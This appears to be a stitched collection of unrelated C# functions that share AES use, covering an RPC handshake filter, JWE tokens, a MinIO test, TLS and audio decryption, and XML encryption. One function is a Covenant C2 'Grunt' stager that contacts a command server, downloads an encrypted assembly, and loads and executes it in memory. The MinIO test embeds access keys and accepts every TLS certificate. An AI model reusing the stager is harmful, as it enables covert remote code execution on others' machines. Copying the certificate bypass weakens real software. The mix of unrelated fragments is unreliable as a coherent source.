/// <summary> /// Handles handshake and encrypted envelopes. /// </summary> /// <param name="envelope">The envelope.</param> /// <returns></returns> public async Task <bool> HandleAsync(Envelope envelope) { // check for secure header SecureHeader secureHeader = null; try { if (envelope.Headers.ContainsKey(SecureHeader.HeaderName)) { secureHeader = new SecureHeader(Encoding.UTF8.GetString(envelope.Headers[SecureHeader.HeaderName] as byte[])); } } catch (Exception) { if (envelope.ID != Guid.Empty) { await ReplyErrorAsync(envelope, new SecureErrorMsg() { Code = "ProtocolInvalid", Message = "The secure message header format is invalid" }); } return(false); } // check if it's a secure message or not if (secureHeader != null && envelope.ID != Guid.Empty) { if (secureHeader.Type == SecureMessageType.RequestCertificate) { #if DEBUG_SECURERPC Console.WriteLine($"[SecureFilter] {nameof(RpcSecureMessageType.RequestCertificate)}"); #endif // build response SecureRespondCertificateMsg respondCertificateMsg = new SecureRespondCertificateMsg(); respondCertificateMsg.CertificateData = _certificate.Export(X509ContentType.Cert); // build reply using (MemoryStream ms = new MemoryStream()) { Serializer.Serialize(ms, respondCertificateMsg); // reply await envelope.Namespace.ReplyAsync(envelope.ReplyTo, envelope.ID, ms.ToArray(), new Dictionary <string, object>() { { SecureHeader.HeaderName, new SecureHeader(SecureHeader.HeaderVersion, SecureMessageType.RespondCertificate).ToString() } }); } return(false); } else if (secureHeader.Type == SecureMessageType.RequestKey) { // decrypt byte[] decryptedBody = null; using (RSA rsa = _certificate.GetRSAPrivateKey()) { decryptedBody = rsa.Decrypt(envelope.Body, RSAEncryptionPadding.Pkcs1); } // deserialize key request SecureRequestKeyMsg requestKeyMsg = null; using (MemoryStream ms = new MemoryStream(decryptedBody)) { requestKeyMsg = Serializer.Deserialize <SecureRequestKeyMsg>(ms); } // validate that the data is there and is the correct size, if not send an error back if (requestKeyMsg.HandshakeIV == null || requestKeyMsg.HandshakeKey == null || requestKeyMsg.HandshakeIV.Length != 16 || requestKeyMsg.HandshakeKey.Length != 16) { await ReplyErrorAsync(envelope, new SecureErrorMsg() { Code = "ProtocolInvalid", Message = "The request key data was invalid" }); return(false); } // generate random nonce byte[] nonceBytes = new byte[16]; using (RandomNumberGenerator rng = RandomNumberGenerator.Create()) { rng.GetBytes(nonceBytes); } // process key request long timeSlot = SecureUtils.GetNextTimeSlot(); byte[] keyBytes = SecureUtils.GenerateKey(nonceBytes, timeSlot, _secret); // log #if DEBUG_SECURERPC Console.WriteLine($"[SecureFilter] {nameof(RpcSecureMessageType.RequestKey)} TimeSlot: {timeSlot} Nonce: {BitConverter.ToString(nonceBytes).Replace("-", "")}"); #endif // build response SecureRespondKeyMsg respondKeyMsg = new SecureRespondKeyMsg(); respondKeyMsg.ServerNonce = nonceBytes; respondKeyMsg.ServerKey = keyBytes; respondKeyMsg.KeyTimeSlot = timeSlot; // encode and encrypt byte[] respondKeyBody = null; using (Aes aes = Aes.Create()) { // setup aes aes.Key = requestKeyMsg.HandshakeKey; aes.IV = requestKeyMsg.HandshakeIV; // build body using (MemoryStream ms = new MemoryStream()) { // encrypt using client key using (CryptoStream cs = new CryptoStream(ms, aes.CreateEncryptor(), CryptoStreamMode.Write)) { Serializer.Serialize(cs, respondKeyMsg); } // get output respondKeyBody = ms.ToArray(); } } // reply await envelope.Namespace.ReplyAsync(envelope.ReplyTo, envelope.ID, respondKeyBody, new Dictionary <string, object>() { { SecureHeader.HeaderName, new SecureHeader(SecureHeader.HeaderVersion, SecureMessageType.RespondKey).ToString() } }); return(false); } else if (secureHeader.Type == SecureMessageType.RequestMessage) { // deserialize key request SecureMessageMsg msg = null; using (MemoryStream ms = new MemoryStream(envelope.Body)) { msg = Serializer.Deserialize <SecureMessageMsg>(ms); } // validate the data is there and is correct length, if not send invalid data if (msg.Payload == null || msg.ServerNonce == null || msg.ServerNonce.Length != 16) { await ReplyErrorAsync(envelope, new SecureErrorMsg() { Code = "ProtocolInvalid", Message = "The request message data was invalid" }); return(false); } // log #if DEBUG_SECURERPC Console.WriteLine($"[SecureFilter] {nameof(RpcSecureMessageType.RequestMessage)} TimeSlot: {msg.KeyTimeSlot} Nonce: {BitConverter.ToString(msg.ServerNonce).Replace("-", "")}"); #endif // validate expiry of time slot if (SecureUtils.HasTimeSlotExpired(msg.KeyTimeSlot, true)) { await ReplyErrorAsync(envelope, new SecureErrorMsg() { Code = "KeyExpired", Message = "The secure message is encrypted with an outdated key" }); return(false); } // get key byte[] keyBytes = SecureUtils.GenerateKey(msg.ServerNonce, msg.KeyTimeSlot, _secret); using (MemoryStream decryptedPayloadStream = new MemoryStream()) { using (MemoryStream payloadStream = new MemoryStream(msg.Payload)) { using (Aes aes = Aes.Create()) { aes.Key = keyBytes; aes.IV = msg.ServerNonce; using (CryptoStream decryptStream = new CryptoStream(payloadStream, aes.CreateDecryptor(), CryptoStreamMode.Read)) { decryptStream.CopyTo(decryptedPayloadStream); } } } // modify body and set reply channel envelope.Body = decryptedPayloadStream.ToArray(); envelope.Channel = new SecureReplyChannel(envelope, keyBytes, msg.ServerNonce); return(true); } } else { // log #if DEBUG_SECURERPC Console.WriteLine($"[SecureFilter] Unimplemented message type!"); #endif await ReplyErrorAsync(envelope, new SecureErrorMsg() { Code = "ProtocolViolation", Message = "The message type is not relevant or is invalid" }); return(false); } } else { return(true); } }
private void CreateAesContext() { _aes = Aes.Create() ?? throw new ArgumentNullException(nameof(_aes)); _aes.Mode = CipherMode.ECB; _aes.Padding = PaddingMode.None; }
public static string CreateEncryptedJweToken(JsonObject jwtPayload, RSAParameters publicKey) { //From: http://self-issued.info/docs/draft-ietf-jose-json-web-encryption-09.html#RSACBCExample var jweHeader = new JsonObject { { "alg", "RSA-OAEP" }, { "enc", "A128CBC-HS256" }, { "kid", Convert.ToBase64String(publicKey.Modulus).Substring(0, 3) }, }; var jweHeaderBase64Url = jweHeader.ToJson().ToUtf8Bytes().ToBase64UrlSafe(); var authKey = new byte[128 / 8]; var cryptKey = new byte[128 / 8]; var cryptAuthKeys256 = AesUtils.CreateKey(); Buffer.BlockCopy(cryptAuthKeys256, 0, authKey, 0, authKey.Length); Buffer.BlockCopy(cryptAuthKeys256, authKey.Length, cryptKey, 0, cryptKey.Length); var aes = Aes.Create(); aes.KeySize = 128; aes.BlockSize = 128; aes.Mode = CipherMode.CBC; aes.Padding = PaddingMode.PKCS7; using (aes) { aes.GenerateIV(); var iv = aes.IV; aes.Key = cryptKey; var jweEncKey = RsaUtils.Encrypt(cryptAuthKeys256, publicKey, UseRsaKeyLength); var jweEncKeyBase64Url = jweEncKey.ToBase64UrlSafe(); var ivBase64Url = iv.ToBase64UrlSafe(); var aad = jweHeaderBase64Url + "." + jweEncKeyBase64Url; var aadBytes = aad.ToUtf8Bytes(); var payloadBytes = jwtPayload.ToJson().ToUtf8Bytes(); byte[] cipherText, tag; using (var encrypter = aes.CreateEncryptor(cryptKey, iv)) using (var cipherStream = new MemoryStream()) { using (var cryptoStream = new CryptoStream(cipherStream, encrypter, CryptoStreamMode.Write)) using (var writer = new BinaryWriter(cryptoStream)) { writer.Write(payloadBytes); } cipherText = cipherStream.ToArray(); } using (var hmac = new HMACSHA256(authKey)) using (var encryptedStream = new MemoryStream()) { using (var writer = new BinaryWriter(encryptedStream)) { writer.Write(aadBytes); writer.Write(iv); writer.Write(cipherText); writer.Flush(); tag = hmac.ComputeHash(encryptedStream.ToArray()); } } var cipherTextBase64Url = cipherText.ToBase64UrlSafe(); var tagBase64Url = tag.ToBase64UrlSafe(); var jweToken = jweHeaderBase64Url + "." + jweEncKeyBase64Url + "." + ivBase64Url + "." + cipherTextBase64Url + "." + tagBase64Url; return(jweToken); } }
public static void Main(string[] args) { String endPoint = null; String accessKey = null; String secretKey = null; bool enableHTTPS = false; if (Environment.GetEnvironmentVariable("SERVER_ENDPOINT") != null) { endPoint = Environment.GetEnvironmentVariable("SERVER_ENDPOINT"); accessKey = Environment.GetEnvironmentVariable("ACCESS_KEY"); secretKey = Environment.GetEnvironmentVariable("SECRET_KEY"); if (Environment.GetEnvironmentVariable("ENABLE_HTTPS") != null) { enableHTTPS = Environment.GetEnvironmentVariable("ENABLE_HTTPS").Equals("1"); } } else { endPoint = "play.min.io:9000"; accessKey = "Q3AM3UQ867SPQQA43P2F"; secretKey = "zuf+tfteSlswRu7BJ86wekitnifILbZam1KYY3TG"; enableHTTPS = true; } ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true; // WithSSL() enables SSL support in MinIO client MinioClient minioClient = null; if (enableHTTPS) { minioClient = new Minio.MinioClient(endPoint, accessKey, secretKey).WithSSL(); } else { minioClient = new Minio.MinioClient(endPoint, accessKey, secretKey); } try { // Assign parameters before starting the test string bucketName = GetRandomName(); string smallFileName = CreateFile(1 * UNIT_MB); string bigFileName = CreateFile(6 * UNIT_MB); string objectName = GetRandomName(); string destBucketName = GetRandomName(); string destObjectName = GetRandomName(); List <string> objectsList = new List <string>(); for (int i = 0; i < 10; i++) { objectsList.Add(objectName + i.ToString()); } // Set app Info minioClient.SetAppInfo("app-name", "app-version"); // Set HTTP Tracing On // minioClient.SetTraceOn(); // Set HTTP Tracing Off // minioClient.SetTraceOff(); // Check if bucket exists Cases.BucketExists.Run(minioClient, bucketName).Wait(); // Create a new bucket Cases.MakeBucket.Run(minioClient, bucketName).Wait(); Cases.MakeBucket.Run(minioClient, destBucketName).Wait(); // List all the buckets on the server Cases.ListBuckets.Run(minioClient).Wait(); // Put an object to the new bucket Cases.PutObject.Run(minioClient, bucketName, objectName, smallFileName).Wait(); // Get object metadata Cases.StatObject.Run(minioClient, bucketName, objectName).Wait(); // List the objects in the new bucket Cases.ListObjects.Run(minioClient, bucketName); // Delete the file and Download the object as file Cases.GetObject.Run(minioClient, bucketName, objectName, smallFileName).Wait(); // Delete the file and Download partial object as file Cases.GetPartialObject.Run(minioClient, bucketName, objectName, smallFileName).Wait(); // Server side copyObject Cases.CopyObject.Run(minioClient, bucketName, objectName, destBucketName, objectName).Wait(); // Server side copyObject with metadata replacement Cases.CopyObjectMetadata.Run(minioClient, bucketName, objectName, destBucketName, objectName).Wait(); // Upload a File with PutObject Cases.FPutObject.Run(minioClient, bucketName, objectName, smallFileName).Wait(); // Delete the file and Download the object as file Cases.FGetObject.Run(minioClient, bucketName, objectName, smallFileName).Wait(); // Automatic Multipart Upload with object more than 5Mb Cases.PutObject.Run(minioClient, bucketName, objectName, bigFileName).Wait(); // Specify SSE-C encryption options Aes aesEncryption = Aes.Create(); aesEncryption.KeySize = 256; aesEncryption.GenerateKey(); var ssec = new SSEC(aesEncryption.Key); // Specify SSE-C source side encryption for Copy operations var sseCpy = new SSECopy(aesEncryption.Key); // Uncomment to specify SSE-S3 encryption option // var sses3 = new SSES3(); // Uncomment to specify SSE-KMS encryption option // var sseKms = new SSEKMS("kms-key", new Dictionary<string, string>{{ "kms-context", "somevalue"}}); // Upload encrypted object Cases.PutObject.Run(minioClient, bucketName, objectName, smallFileName, sse: ssec).Wait(); // Copy SSE-C encrypted object to unencrypted object Cases.CopyObject.Run(minioClient, bucketName, objectName, destBucketName, objectName, sseSrc: sseCpy, sseDest: ssec).Wait(); // Download SSE-C encrypted object Cases.FGetObject.Run(minioClient, destBucketName, objectName, bigFileName, sse: ssec).Wait(); // List the incomplete uploads Cases.ListIncompleteUploads.Run(minioClient, bucketName); // Remove all the incomplete uploads Cases.RemoveIncompleteUpload.Run(minioClient, bucketName, objectName).Wait(); // Set a policy for given bucket Cases.SetBucketPolicy.Run(minioClient, bucketName).Wait(); // Get the policy for given bucket Cases.GetBucketPolicy.Run(minioClient, bucketName).Wait(); // Set bucket notifications Cases.SetBucketNotification.Run(minioClient, bucketName).Wait(); // Get bucket notifications Cases.GetBucketNotification.Run(minioClient, bucketName).Wait(); // Remove all bucket notifications Cases.RemoveAllBucketNotifications.Run(minioClient, bucketName).Wait(); // Get the presigned url for a GET object request Cases.PresignedGetObject.Run(minioClient, bucketName, objectName).Wait(); // Get the presigned POST policy curl url Cases.PresignedPostPolicy.Run(minioClient).Wait(); // Get the presigned url for a PUT object request Cases.PresignedPutObject.Run(minioClient, bucketName, objectName).Wait(); // Delete the list of objects Cases.RemoveObjects.Run(minioClient, bucketName, objectsList).Wait(); // Delete the object Cases.RemoveObject.Run(minioClient, bucketName, objectName).Wait(); // Delete the object Cases.RemoveObject.Run(minioClient, destBucketName, objectName).Wait(); // Tracing request with custom logger Cases.CustomRequestLogger.Run(minioClient).Wait(); // Remove the buckets Cases.RemoveBucket.Run(minioClient, bucketName).Wait(); Cases.RemoveBucket.Run(minioClient, destBucketName).Wait(); // Remove the binary files created for test File.Delete(smallFileName); File.Delete(bigFileName); Console.ReadLine(); } catch (MinioException ex) { Console.Out.WriteLine(ex.Message); } }
private void createDecryptionCipher() { // Create and configure the symmetric algorithm switch (CipherAlgorithmType) { case CipherAlgorithmType.Des: decryptionAlgorithm = DES.Create(); break; case CipherAlgorithmType.Rc2: decryptionAlgorithm = RC2.Create(); break; case CipherAlgorithmType.Rc4: decryptionAlgorithm = new M.ARC4Managed(); break; case CipherAlgorithmType.TripleDes: decryptionAlgorithm = TripleDES.Create(); break; case CipherAlgorithmType.Rijndael: // only AES is really used - and we can use CommonCrypto for iOS and OSX this way decryptionAlgorithm = Aes.Create(); break; } // If it's a block cipher if (CipherMode == CipherMode.CBC) { // Configure encrypt algorithm decryptionAlgorithm.Mode = CipherMode; decryptionAlgorithm.Padding = PaddingMode.None; decryptionAlgorithm.KeySize = ExpandedKeyMaterialSize * 8; decryptionAlgorithm.BlockSize = blockSize * 8; } // Set the key and IV for the algorithm if (Context is ClientContext) { decryptionAlgorithm.Key = Context.ServerWriteKey; decryptionAlgorithm.IV = Context.ServerWriteIV; } else { decryptionAlgorithm.Key = Context.ClientWriteKey; decryptionAlgorithm.IV = Context.ClientWriteIV; } // Create decryption cipher DecryptionCipher = decryptionAlgorithm.CreateDecryptor(); // Create the HMAC if (Context is ClientContext) { ServerHMAC = new HMAC( CreateHashAlgorithm(), Context.Negotiating.ServerWriteMAC); } else { ClientHMAC = new HMAC( CreateHashAlgorithm(), Context.Negotiating.ClientWriteMAC); } }
public static Celt FromStream(Stream stream) { Celt celt = new Celt(); using (AwesomeReader ar = new AwesomeReader(stream, false)) { // Checks for "BFAD" magic switch (ar.ReadInt32()) { case MAGIC: ar.BigEndian = false; break; case MAGIC_R: ar.BigEndian = true; break; default: throw new Exception("Invalid magic. Expected \"BFAD\""); } celt.BigEndian = ar.BigEndian; // Sets endianess // Parses header information celt.Version = ar.ReadUInt16(); celt.Encrypted = Convert.ToBoolean(ar.ReadInt16()); celt.TotalSamples = ar.ReadUInt32(); celt.Bitrate = ar.ReadUInt32(); celt.FrameSize = ar.ReadUInt16(); celt.Lookahead = ar.ReadUInt16(); celt.SampleRate = ar.ReadUInt16(); celt.Unknown = ar.ReadUInt16(); celt.ReckoningOffset = ar.ReadUInt32(); celt.ReckoningSize = ar.ReadUInt32(); celt.PacketStreamOffset = ar.ReadUInt32(); celt.PacketStreamSize = ar.ReadUInt32(); celt.FixOffsets(); // Only useful for audio extracted from RAM, harmless uint reckonSize = celt.PacketStreamOffset - celt.ReckoningOffset; // Multiple of 4 uint streamSize = celt.PacketStreamSize; if ((reckonSize + streamSize) % 16 != 0) { streamSize += 16 - ((reckonSize + streamSize) % 16); } if (celt.Encrypted) { var encryptedBytes = ar.ReadBytes((int)(reckonSize + streamSize)); // Decrypt audio data in ECB mode with the 256-bit key using (Aes aes = Aes.Create()) { aes.Mode = CipherMode.ECB; aes.KeySize = 256; aes.BlockSize = 128; aes.Padding = PaddingMode.None; using (var decryptor = aes.CreateDecryptor(AesKey, new byte[16])) { decryptor.TransformBlock(encryptedBytes, 0, encryptedBytes.Length, encryptedBytes, 0); } } celt.Reckoning = new byte[reckonSize]; celt.PacketStream = new byte[streamSize]; Array.Copy(encryptedBytes, celt.Reckoning, reckonSize); Array.Copy(encryptedBytes, reckonSize, celt.PacketStream, 0, streamSize); celt.Encrypted = false; } else { celt.Reckoning = ar.ReadBytes((int)reckonSize); celt.PacketStream = ar.ReadBytes((int)streamSize); } } return(celt); }
public static void Encrypt(XmlDocument Doc, string ElementToEncrypt, string EncryptionElementID, RSA Alg, string KeyName) { // Check the arguments. if (Doc == null) { throw new ArgumentNullException("Doc"); } if (ElementToEncrypt == null) { throw new ArgumentNullException("ElementToEncrypt"); } if (EncryptionElementID == null) { throw new ArgumentNullException("EncryptionElementID"); } if (Alg == null) { throw new ArgumentNullException("Alg"); } if (KeyName == null) { throw new ArgumentNullException("KeyName"); } //////////////////////////////////////////////// // Find the specified element in the XmlDocument // object and create a new XmlElemnt object. //////////////////////////////////////////////// XmlElement elementToEncrypt = Doc.GetElementsByTagName(ElementToEncrypt)[0] as XmlElement; // Throw an XmlException if the element was not found. if (elementToEncrypt == null) { throw new XmlException("The specified element was not found"); } ////////////////////////////////////////////////// // Create a new instance of the EncryptedXml class // and use it to encrypt the XmlElement with the // a new random symmetric key. ////////////////////////////////////////////////// // Create a 256 bit Aes key. Aes sessionKey = Aes.Create(); sessionKey.KeySize = 256; EncryptedXml eXml = new EncryptedXml(); byte[] encryptedElement = eXml.EncryptData(elementToEncrypt, sessionKey, false); //////////////////////////////////////////////// // Construct an EncryptedData object and populate // it with the desired encryption information. //////////////////////////////////////////////// EncryptedData edElement = new EncryptedData(); edElement.Type = EncryptedXml.XmlEncElementUrl; edElement.Id = EncryptionElementID; // Create an EncryptionMethod element so that the // receiver knows which algorithm to use for decryption. edElement.EncryptionMethod = new EncryptionMethod(EncryptedXml.XmlEncAES256Url); // Encrypt the session key and add it to an EncryptedKey element. EncryptedKey ek = new EncryptedKey(); ek.Id = "keyID"; byte[] encryptedKey = EncryptedXml.EncryptKey(sessionKey.Key, Alg, false); ek.CipherData = new CipherData(encryptedKey); ek.EncryptionMethod = new EncryptionMethod(EncryptedXml.XmlEncRSA15Url); // Set the KeyInfo element to specify the // name of the RSA key. // Create a new KeyInfo element. edElement.KeyInfo = new KeyInfo(); // Create a new KeyInfoName element. KeyInfoName kin = new KeyInfoName(); // Specify a name for the key. kin.Value = KeyName; // Add the KeyInfoName element to the // EncryptedKey object. ek.KeyInfo.AddClause(kin); // Create a new KeyReference object. // Use the uri of the encrypted key. KeyReference kryRef = new KeyReference("#keyID"); ek.AddReference(kryRef); // Create a new DataReference element // for the KeyInfo element. This optional // element specifies which EncryptedData // uses this key. An XML document can have // multiple EncryptedData elements that use // different keys. DataReference dRef = new DataReference(); // Specify the EncryptedData URI. dRef.Uri = "#" + EncryptionElementID; // Add the DataReference to the EncryptedKey. ek.AddReference(dRef); // Add the encrypted key to the // EncryptedData object. edElement.KeyInfo.AddClause(new KeyInfoEncryptedKey(ek)); // Add the encrypted element data to the // EncryptedData object. edElement.CipherData.CipherValue = encryptedElement; //////////////////////////////////////////////////// // Replace the element from the original XmlDocument // object with the EncryptedData element. //////////////////////////////////////////////////// EncryptedXml.ReplaceElement(elementToEncrypt, edElement, false); }
public static byte[] GetSessionKey() { return(Aes.Create().Key); }
public void ExecuteStager() { try { string CovenantURI = @"{{REPLACE_COVENANT_URI}}"; string CovenantCertHash = @"{{REPLACE_COVENANT_CERT_HASH}}"; List <string> ProfileHttpHeaderNames = new List <string>(); List <string> ProfileHttpHeaderValues = new List <string>(); // {{REPLACE_PROFILE_HTTP_HEADERS}} List <string> ProfileHttpUrls = new List <string>(); // {{REPLACE_PROFILE_HTTP_URLS}} string ProfileHttpPostRequest = @"{{REPLACE_PROFILE_HTTP_POST_REQUEST}}".Replace(Environment.NewLine, "\n"); string ProfileHttpPostResponse = @"{{REPLACE_PROFILE_HTTP_POST_RESPONSE}}".Replace(Environment.NewLine, "\n"); string CommType = @"{{REPLACE_COMM_TYPE}}"; bool ValidateCert = bool.Parse(@"{{REPLACE_VALIDATE_CERT}}"); bool UseCertPinning = bool.Parse(@"{{REPLACE_USE_CERT_PINNING}}"); string PipeName = @"{{REPLACE_PIPE_NAME}}"; Random random = new Random(); string aGUID = @"{{REPLACE_GRUNT_GUID}}"; string GUID = Guid.NewGuid().ToString().Replace("-", "").Substring(0, 10); byte[] SetupKeyBytes = Convert.FromBase64String(@"{{REPLACE_GRUNT_SHARED_SECRET_PASSWORD}}"); string MessageFormat = @"{{""GUID"":""{0}"",""Type"":{1},""Meta"":""{2}"",""IV"":""{3}"",""EncryptedMessage"":""{4}"",""HMAC"":""{5}""}}"; Aes SetupAESKey = Aes.Create(); SetupAESKey.Mode = CipherMode.CBC; SetupAESKey.Padding = PaddingMode.PKCS7; SetupAESKey.Key = SetupKeyBytes; SetupAESKey.GenerateIV(); HMACSHA256 hmac = new HMACSHA256(SetupKeyBytes); RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(2048, new CspParameters()); byte[] RSAPublicKeyBytes = Encoding.UTF8.GetBytes(rsa.ToXmlString(false)); byte[] EncryptedRSAPublicKey = SetupAESKey.CreateEncryptor().TransformFinalBlock(RSAPublicKeyBytes, 0, RSAPublicKeyBytes.Length); byte[] hash = hmac.ComputeHash(EncryptedRSAPublicKey); string Stage0Body = String.Format(MessageFormat, aGUID + GUID, "0", "", Convert.ToBase64String(SetupAESKey.IV), Convert.ToBase64String(EncryptedRSAPublicKey), Convert.ToBase64String(hash)); ServicePointManager.SecurityProtocol = SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls; ServicePointManager.ServerCertificateValidationCallback = (sender, cert, chain, errors) => { bool valid = true; if (UseCertPinning && CovenantCertHash != "") { valid = cert.GetCertHashString() == CovenantCertHash; } if (valid && ValidateCert) { valid = errors == System.Net.Security.SslPolicyErrors.None; } return(valid); }; string transformedResponse = HttpMessageTransform.Transform(Encoding.UTF8.GetBytes(Stage0Body)); NamedPipeServerStream pipe = null; CookieWebClient wc = null; string Stage0Response = ""; wc = new CookieWebClient(); wc.UseDefaultCredentials = true; wc.Proxy = WebRequest.DefaultWebProxy; wc.Proxy.Credentials = CredentialCache.DefaultNetworkCredentials; for (int i = 0; i < ProfileHttpHeaderValues.Count; i++) { wc.Headers.Set(ProfileHttpHeaderNames[i], ProfileHttpHeaderValues[i]); } wc.DownloadString(CovenantURI + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)]); for (int i = 0; i < ProfileHttpHeaderValues.Count; i++) { wc.Headers.Set(ProfileHttpHeaderNames[i], ProfileHttpHeaderValues[i]); } Stage0Response = wc.UploadString(CovenantURI + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)], String.Format(ProfileHttpPostRequest, transformedResponse)).Replace("\"", ""); string extracted = Parse(Stage0Response, ProfileHttpPostResponse)[0]; extracted = Encoding.UTF8.GetString(HttpMessageTransform.Invert(extracted)); List <string> parsed = Parse(extracted, MessageFormat); string iv64str = parsed[3]; string message64str = parsed[4]; string hash64str = parsed[5]; byte[] messageBytes = Convert.FromBase64String(message64str); if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes))) { return; } SetupAESKey.IV = Convert.FromBase64String(iv64str); byte[] PartiallyDecrypted = SetupAESKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length); byte[] FullyDecrypted = rsa.Decrypt(PartiallyDecrypted, true); Aes SessionKey = Aes.Create(); SessionKey.Mode = CipherMode.CBC; SessionKey.Padding = PaddingMode.PKCS7; SessionKey.Key = FullyDecrypted; SessionKey.GenerateIV(); hmac = new HMACSHA256(SessionKey.Key); byte[] challenge1 = new byte[4]; RandomNumberGenerator rng = RandomNumberGenerator.Create(); rng.GetBytes(challenge1); byte[] EncryptedChallenge1 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge1, 0, challenge1.Length); hash = hmac.ComputeHash(EncryptedChallenge1); string Stage1Body = String.Format(MessageFormat, GUID, "1", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge1), Convert.ToBase64String(hash)); transformedResponse = HttpMessageTransform.Transform(Encoding.UTF8.GetBytes(Stage1Body)); string Stage1Response = ""; for (int i = 0; i < ProfileHttpHeaderValues.Count; i++) { wc.Headers.Set(ProfileHttpHeaderNames[i], ProfileHttpHeaderValues[i]); } Stage1Response = wc.UploadString(CovenantURI + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)], String.Format(ProfileHttpPostRequest, transformedResponse)).Replace("\"", ""); extracted = Parse(Stage1Response, ProfileHttpPostResponse)[0]; extracted = Encoding.UTF8.GetString(HttpMessageTransform.Invert(extracted)); parsed = Parse(extracted, MessageFormat); iv64str = parsed[3]; message64str = parsed[4]; hash64str = parsed[5]; messageBytes = Convert.FromBase64String(message64str); if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes))) { return; } SessionKey.IV = Convert.FromBase64String(iv64str); byte[] DecryptedChallenges = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length); byte[] challenge1Test = new byte[4]; byte[] challenge2 = new byte[4]; Buffer.BlockCopy(DecryptedChallenges, 0, challenge1Test, 0, 4); Buffer.BlockCopy(DecryptedChallenges, 4, challenge2, 0, 4); if (Convert.ToBase64String(challenge1) != Convert.ToBase64String(challenge1Test)) { return; } SessionKey.GenerateIV(); byte[] EncryptedChallenge2 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge2, 0, challenge2.Length); hash = hmac.ComputeHash(EncryptedChallenge2); string Stage2Body = String.Format(MessageFormat, GUID, "2", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge2), Convert.ToBase64String(hash)); transformedResponse = HttpMessageTransform.Transform(Encoding.UTF8.GetBytes(Stage2Body)); string Stage2Response = ""; for (int i = 0; i < ProfileHttpHeaderValues.Count; i++) { wc.Headers.Set(ProfileHttpHeaderNames[i], ProfileHttpHeaderValues[i]); } Stage2Response = wc.UploadString(CovenantURI + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)], String.Format(ProfileHttpPostRequest, transformedResponse)).Replace("\"", ""); extracted = Parse(Stage2Response, ProfileHttpPostResponse)[0]; extracted = Encoding.UTF8.GetString(HttpMessageTransform.Invert(extracted)); parsed = Parse(extracted, MessageFormat); iv64str = parsed[3]; message64str = parsed[4]; hash64str = parsed[5]; messageBytes = Convert.FromBase64String(message64str); if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes))) { return; } SessionKey.IV = Convert.FromBase64String(iv64str); byte[] DecryptedAssembly = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length); Assembly gruntAssembly = Assembly.Load(DecryptedAssembly); gruntAssembly.GetTypes()[0].GetMethods()[0].Invoke(null, new Object[] { GUID, SessionKey, pipe, PipeName }); } catch (Exception e) { Console.Error.WriteLine(e.Message); } }
public void PreAuthenticate(IRequest req, IResponse res) { if (req.OperationName != null && IgnoreForOperationTypes.Contains(req.OperationName)) { return; } var bearerToken = req.GetJwtToken(); if (bearerToken != null) { var parts = bearerToken.Split('.'); if (parts.Length == 3) { if (RequireSecureConnection && !req.IsSecureConnection) { throw HttpError.Forbidden(ErrorMessages.JwtRequiresSecureConnection); } var jwtPayload = GetVerifiedJwtPayload(parts); if (jwtPayload == null) //not verified { return; } if (ValidateToken != null) { if (!ValidateToken(jwtPayload, req)) { throw HttpError.Forbidden(ErrorMessages.TokenInvalid); } } var session = CreateSessionFromPayload(req, jwtPayload); req.Items[Keywords.Session] = session; } else if (parts.Length == 5) //Encrypted JWE Token { if (RequireSecureConnection && !req.IsSecureConnection) { throw HttpError.Forbidden(ErrorMessages.JwtRequiresSecureConnection); } if (PrivateKey == null || PublicKey == null) { throw new NotSupportedException("PrivateKey is required to DecryptPayload"); } var jweHeaderBase64Url = parts[0]; var jweEncKeyBase64Url = parts[1]; var ivBase64Url = parts[2]; var cipherTextBase64Url = parts[3]; var tagBase64Url = parts[4]; var sentTag = tagBase64Url.FromBase64UrlSafe(); var aadBytes = (jweHeaderBase64Url + "." + jweEncKeyBase64Url).ToUtf8Bytes(); var iv = ivBase64Url.FromBase64UrlSafe(); var cipherText = cipherTextBase64Url.FromBase64UrlSafe(); var jweEncKey = jweEncKeyBase64Url.FromBase64UrlSafe(); var cryptAuthKeys256 = RsaUtils.Decrypt(jweEncKey, PrivateKey.Value, UseRsaKeyLength); var authKey = new byte[128 / 8]; var cryptKey = new byte[128 / 8]; Buffer.BlockCopy(cryptAuthKeys256, 0, authKey, 0, authKey.Length); Buffer.BlockCopy(cryptAuthKeys256, authKey.Length, cryptKey, 0, cryptKey.Length); using (var hmac = new HMACSHA256(authKey)) using (var encryptedStream = new MemoryStream()) { using (var writer = new BinaryWriter(encryptedStream)) { writer.Write(aadBytes); writer.Write(iv); writer.Write(cipherText); writer.Flush(); var calcTag = hmac.ComputeHash(encryptedStream.ToArray()); if (!calcTag.EquivalentTo(sentTag)) { return; } } } JsonObject jwtPayload; var aes = Aes.Create(); aes.KeySize = 128; aes.BlockSize = 128; aes.Mode = CipherMode.CBC; aes.Padding = PaddingMode.PKCS7; using (aes) using (var decryptor = aes.CreateDecryptor(cryptKey, iv)) using (var ms = MemoryStreamFactory.GetStream(cipherText)) using (var cryptStream = new CryptoStream(ms, decryptor, CryptoStreamMode.Read)) { var jwtPayloadBytes = cryptStream.ReadFully(); jwtPayload = JsonObject.Parse(jwtPayloadBytes.FromUtf8Bytes()); } if (ValidateToken != null) { if (!ValidateToken(jwtPayload, req)) { throw HttpError.Forbidden(ErrorMessages.TokenInvalid); } } var session = CreateSessionFromPayload(req, jwtPayload); req.Items[Keywords.Session] = session; } } }